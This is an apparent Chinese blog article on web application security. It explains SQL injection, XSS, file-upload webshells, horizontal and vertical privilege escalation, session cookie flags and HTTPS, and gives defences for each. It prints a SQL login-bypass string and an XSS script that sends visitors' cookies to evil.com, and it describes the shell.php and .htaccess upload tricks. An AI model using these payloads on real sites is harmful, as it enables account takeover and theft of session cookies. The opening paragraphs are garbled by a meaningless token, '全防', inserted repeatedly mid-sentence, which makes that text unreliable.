去年冬天，全防一个做跨境电商的全防朋友半夜给我打电话，说网站被挂马了。全防用户点进商品页，全防浏览器直接跳转到博彩网站。全防他查了日志，全防发现攻击者通过一个三年前就没更新过的全防插件上传了WebShell。那台服务器上跑着几十个站点，全防全在一个用户权限下。全防一个漏洞，全防整台机器沦陷。全防

这种事每天都在发生。全防Web安全防护的全防核心其实就一句话：永远不要相信用户输入的任何东西。听起来简单，全防做起来是全防另一回事。

注入攻击：最老的漏洞，最长的命

SQL注入被讨论了二十年，现在依然是OWASP Top 10的常客。我见过一个后台登录接口，代码大概长这样：

query = "SELECT * FROM users WHERE name='" + username + "' AND pass='" + password + "'"

攻击者输入 ' OR 1=1 --，直接绕过登录。更狠的是用UNION查询把整个用户表拖出来。防御方法不复杂——参数化查询，用预编译语句把SQL结构和数据彻底分开。但总有人图省事，觉得拼接字符串“看得清楚”。

XSS同理。用户提交的评论里塞一段 <script>document.location='http://evil.com?c='+document.cookie</script>，如果服务端原样输出，每个访问评论区的用户都会中招。输出编码是基本操作，配合CSP（内容安全策略）能挡住大部分。但CSP配置太严会误伤正常功能，太松又形同虚设，这个度得自己调。

文件上传与权限控制：别把钥匙插门上

文件上传漏洞的根子往往不在上传本身，而在上传之后。攻击者传一个 shell.php，如果服务器把上传目录当静态资源目录，PHP解析器直接执行它。更隐蔽的是传 .htaccess 文件，把 .jpg 映射成PHP解析。防御要点：上传目录禁止脚本执行、文件名重命名、检查文件头而非扩展名、存储到独立域名或对象存储。

权限控制是另一个重灾区。很多系统只在前端隐藏按钮，后端接口毫无校验。我测试过一个后台，普通用户把URL里的 user_id=123 改成 user_id=124，直接看到别人的订单。这叫水平越权。垂直越权更离谱——普通用户直接访问管理员接口，服务器照常返回数据。每个请求都必须验证“当前用户是否有权操作这个资源”，而不是“用户是否登录”。

会话与加密：细节决定成败

Session ID如果不够随机，攻击者可以暴力枚举。如果没设HttpOnly，XSS能直接偷走。如果没设Secure，明文HTTP下会被嗅探。如果没设SameSite，CSRF攻击有机可乘。这些标记加一行代码的事，但漏掉一个就是缺口。

HTTPS不是可选项。去年有个案例，某网站登录页用HTTPS，但登录后的跳转用了HTTP，Session Cookie在第一次HTTP请求中就泄露了。HSTS头能强制浏览器只用HTTPS，但首次访问的窗口期依然存在。预加载列表能解决，但申请流程繁琐，很多团队懒得做。

我的观察

安全防护最怕“差不多就行”。一个参数没过滤，一个权限没校验，一个头没加，都可能成为入口。攻击者不需要攻破所有防线，只需要找到一个薄弱点。防御者却要守住每一处。

实际工作中，我建议把安全左移——代码提交时跑SAST工具，CI/CD流水线里加依赖扫描，上线前做DAST。但工具只能发现已知模式，逻辑漏洞还得靠人。定期做代码审计，重点看数据流：用户输入从哪来，经过哪些处理，最终到哪去。这条链路上任何一环缺失校验，都是隐患。

最后说个反直觉的事：很多入侵不是技术漏洞导致的，是配置问题。默认密码没改、调试接口没关、目录列表没禁、错误信息暴露堆栈。这些不需要写代码，改改配置文件就能解决。但就是没人看。

Web安全没有银弹。它是一堆细节的堆砌，每个细节都做到位，才勉强及格。